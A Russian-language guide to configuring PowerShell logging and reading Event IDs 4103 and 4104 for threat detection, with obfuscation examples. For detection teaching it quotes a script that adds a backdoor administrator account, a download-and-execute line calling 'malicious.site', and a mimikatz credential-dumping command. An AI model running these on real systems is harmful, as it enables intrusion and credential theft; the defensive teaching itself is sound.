Логирование PowerShell

Логирование PowerShell — это критически важный элемент мониторинга безопасности в современных средах, так как PowerShell часто используется злоумышленниками для выполнения вредоносных скриптов, обхода защиты и выполнения атак. Включение логирования PowerShell позволяет отслеживать выполняемые команды и скрипты, что помогает обнаруживать подозрительную активность.

Настройка логирования Powershell

Чтобы настроить аудит событий PowerShell с помощью групповых политик и включить модуль Script Block Logging, выполните

  1. Откройте Редактор групповых политик

  2. Перейдите в раздел: Конфигурация компьютера → Политики → Административные шаблоны → Компоненты Windows → Windows PowerShell.

  3. Выберите "Включить ведение журнала модулей", "Включить ведение журнала блоков скриптов" и "Включить ведение журнала транскрипций" Для последнего укажите путь для сохранения транскрипций (например, C:\PSLogs).

Типы событий

Основные типы логирования:

  • Модуль аудита PowerShell (Module Logging) - Модуль аудита регистрирует все команды, выполняемые в PowerShell. Логи сохраняются в Журнале событий Windows в разделе Microsoft-Windows-PowerShell/Operational с Event ID 4103 Регистрируются: - Отдельные команды, выполняемые в PowerShell. - Если запущен скрипт, то на каждый вызов Powershell Cmdlet будет зарегистрировано отдельное событие - Если используется алиас (например, gci вместо Get-ChildItem), в логах будет записан командлет Get-ChildItem.

  • Логирование блоков скриптов (Script Block Logging) - Логирование блоков скриптов регистрирует содержимое скриптов, выполняемых в PowerShell. Логи сохраняются в Журнале событий Windows в разделе Microsoft-Windows-PowerShell/Operational с Event ID 4104 Регистрируются: - Полное содержимое скриптов, выполняемых в PowerShell. - Регистрируется весь блок кода, включая команды, циклы, условия и функции.

Если скрипт PowerShell очень длинный, событие с ID 4104 регистрируется как несколько событий. В каждом событии вы найдете поле Script Block, которое содержит часть тела скрипта. Также в каждом событии есть указание, на сколько всего блоков был разбит скрипт (MessageTotal) и порядковый номер текущего (MessageNumber).

  • Логирование транскрипций (Transcript Logging). Логирование транскрипций сохраняет все действия, выполненные в сессии PowerShell, в текстовый файл.

Мы обычно используем только 4103 и 4104

Сравнение событий PowerShell Event ID 4103 и Event ID 4104

Оба события связаны с логированием активности PowerShell, но они регистрируют разные аспекты выполнения команд и скриптов.

Выполнение скрипта из файла

Предположим, что атакующий запускает Powershell и выполняет так скрипт add_admin.ps1. При этом зарегистрируется событие Event ID 4104, где в поле ScriptBlockText будет полное тело скрипта:

$randomNumber = Get-Random -Minimum 1000 -Maximum 9999
$username = "Admin_$randomNumber"
$password = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
New-LocalUser -Name $username -Password $password -PasswordNeverExpires
Add-LocalGroupMember -Group "Administrators" -Member $username

При этом будет зарегистрировано 4 отдельных событий Event ID 4103, в поле Payload будут соотвествующие записи каждому вызванному командлету:

CommandInvocation(Get-Random): "Get-Random"
ParameterBinding(Get-Random): name="Minimum"; value="1000"
ParameterBinding(Get-Random): name="Maximum"; value="9999"

CommandInvocation(ConvertTo-SecureString): "ConvertTo-SecureString"
ParameterBinding(ConvertTo-SecureString): name="String"; value="P@ssw0rd"
ParameterBinding(ConvertTo-SecureString): name="AsPlainText"; value="True"
ParameterBinding(ConvertTo-SecureString): name="Force"; value="True"

CommandInvocation(New-LocalUser): "New-LocalUser"
ParameterBinding(New-LocalUser): name="Name"; value="Admin_6947"
ParameterBinding(New-LocalUser): name="Password"; value="System.Security.SecureString"
ParameterBinding(New-LocalUser): name="PasswordNeverExpires"; value="True"

CommandInvocation(Add-LocalGroupMember): "Add-LocalGroupMember"
ParameterBinding(Add-LocalGroupMember): name="Group"; value="Administrators"
ParameterBinding(Add-LocalGroupMember): name="Member"; value="Admin_6947"

При этом Script Name в ContextInfo каждого из Event ID 4103 будет содержать полный путь до скрипта add_admin.ps1.

Стоит обратить внимание, что в Event Id 4103 видны конкретные значения того, что в теле скрипта передается как параметры.

Псевдонимы командлетов (cmdlet alias) в Event ID 4103

У команделетов Powershell бывают элиасы (псевдонимы) — это короткое или альтернативное имя для командлета, функции или скрипта. Псевдонимы позволяют быстрее вводить команды, экономя время. Некоторые уже определены в системе, но можно задавать и произвольные.

Если в консоли powershell ввести псевдоним, то в Event ID 4104 залогируется так, как ввел пользователь, а вот в 4103 будет виден исходный полный командлет

// 4104
tnc 10.10.183.100 -port 443

// 4103
CommandInvocation(Write-Progress): "Write-Progress"
ParameterBinding(Write-Progress): имя="Activity"; значение="Test-NetConnection - 10.10.183.100:443"
ParameterBinding(Write-Progress): имя="Status"; значение="Attempting TCP connect"
ParameterBinding(Write-Progress): имя="CurrentOperation"; значение="Waiting for response"
ParameterBinding(Write-Progress): имя="SecondsRemaining"; значение="-1"
ParameterBinding(Write-Progress): имя="PercentComplete"; значение="-1"

То есть обфускация при правильно настроенном логирования powershell практически теряет свою пользу. Хотя бывает полезно просто искать ее следы.

Примеры обфускаций

Обфусцированный (запутанный) PowerShell-код часто используется в вредоносных скриптах или для сокрытия логики от анализа.


1. Строки в виде чисел (Char-коды)

$code = "105 101 120 40 34 87 114 105 116 101 45 72 111 115 116 32 39 72 101 108 108 111 44 32 87 111 114 108 100 33 39 34 41"
$command = ($code -split ' ' | ForEach-Object { [char][int]$_ }) -join ''
Invoke-Expression $command

Что делает? → Преобразует ASCII-коды в строку Write-Host 'Hello, World!' и выполняет её.


2. Base64-кодирование

$encoded = "VwByAGkAdABlAC0ASABvAHMAdAAgACcASABlAGwAbABvACwAIABXAG8AcgBsAGQAIQAiAA=="
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
Invoke-Expression $decoded

Что делает? → Декодирует строку Write-Host 'Hello, World!' из Base64 и выполняет её.


3. Разделение строки и соединение

$str1 = "Wri"
$str2 = "te-Ho"
$str3 = "st 'Hello"
$str4 = ", World!'"
$cmd = $str1 + $str2 + $str3 + $str4
iex $cmd

Что делает? → Собирает команду Write-Host 'Hello, World!' из частей и выполняет через iex (Invoke-Expression).


4. Использование переменных с подменой символов

${_} = "iex"
${__} = "Wr" + "ite-Ho" + "st"
${___} = "'Hello, World!'"
& ${_} (${__} + " " + ${___})

Что делает? → Собирает команду через переменные с неочевидными именами и выполняет её.


5. Рекурсивный вызов с зашифрованными данными

function Invoke-Magic {
    param([string]$s)
    $decoded = $s.ToCharArray() | ForEach-Object { [char]([int]$_ - 1) }
    iex (-join $decoded)
}
Invoke-Magic "Xsfujt!Iptu#!Xpsme$"

Что делает? → Расшифровывает строку (Write-Host 'Hello, World!' смещением символов) и выполняет её.


6. Использование Invoke-Command с закодированным ScriptBlock

$script = {
    $a = "Wri"
    $b = "te-Ho"
    $c = "st 'Hello, World!'"
    & ($a + $b + $c)
}
Invoke-Command -ScriptBlock $script

Что делает? → Собирает команду внутри ScriptBlock и выполняет её.

Запуск процесса из Powershell

Если атакующий просто запускает процесс из powershell, то под капотом генерируется вызов командлета Invoke-Expression.

// 4104. ScriptBlockText
ping google.com

// 4103. Payload
CommandInvocation(Invoke-Expression): "Invoke-Expression"
ParameterBinding(Invoke-Expression): name="Command"; value="ping google.com
"
CommandInvocation(Out-String): "Out-String"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Pinging google.com [64.233.162.100] with 32 bytes of data:"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=2ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=3ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=4ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=1ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Ping statistics for 64.233.162.100:"
ParameterBinding(Out-String): name="InputObject"; value="    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),"
ParameterBinding(Out-String): name="InputObject"; value="Approximate round trip times in milli-seconds:"
ParameterBinding(Out-String): name="InputObject"; value="    Minimum = 1ms, Maximum = 4ms, Average = 2ms"

Если атакующий запускает процесс Powershell следующим образом:

powershell -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7AAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBcAGMAaAByAG8AbQBlAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtACIAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQAgADsAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACQAXwAuAFAAcgBvAGMAZQBzAHMATgBhAG0AZQAgAC0AZQBxACAAIgBjAGgAcgBvAG0AZQAiAH0AIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMA

То в событии старта процесса (Event ID 4688, Sysmon 1) увидим заэнкоженную base64 строку (Рашифровать можно в CyberChef). Однако в EventID 4103 и 4104 будет видно, что на самом деле выполнялось:

// 4104
$ProgressPreference = "SilentlyContinue";Start-Process -FilePath "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "https://github.com"; Start-Sleep -Seconds 15 ; Get-Process | Where-Object {$_.ProcessName -eq "chrome"} | Stop-Process

// 4103
CommandInvocation(Start-Process): "Start-Process"
ParameterBinding(Start-Process): name="FilePath"; value="C:\Program Files\Google\Chrome\Application\chrome.exe"
ParameterBinding(Start-Process): name="ArgumentList"; value="https://github.com"

Для того, чтобы выполнить в Powershell base64 enoded команду, необязательно полностью писать ключ -EncodedCommand -enc - достаточно -enco, -en - тоже -ec - кстати, тоже работает -ˆeˆc - и сам ключ тоже можно обфусцировать Подробнее: https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/

Известные Powershell инструменты

Все они включают довольно специфичные командлеты, детекты на которые не будут изощренными, но точно полезными.

Примеры подозрительных команд и скриптов

  • Загрузка и выполнение скриптов из интернета: Ищите команды, связанные с обходом защиты, запуском скриптов или взаимодействием с внешними ресурсами (например, FromBase64String DownloadString, Net.WebClient)

    Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')
  • Обход защиты:

    Set-ExecutionPolicy Bypass -Scope Process
  • Создание скрытых процессов:

    Start-Process -WindowStyle Hidden -FilePath "C:\Windows\System32\cmd.exe"
  • Использование утилит для взлома:

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

Last updated

Was this helpful?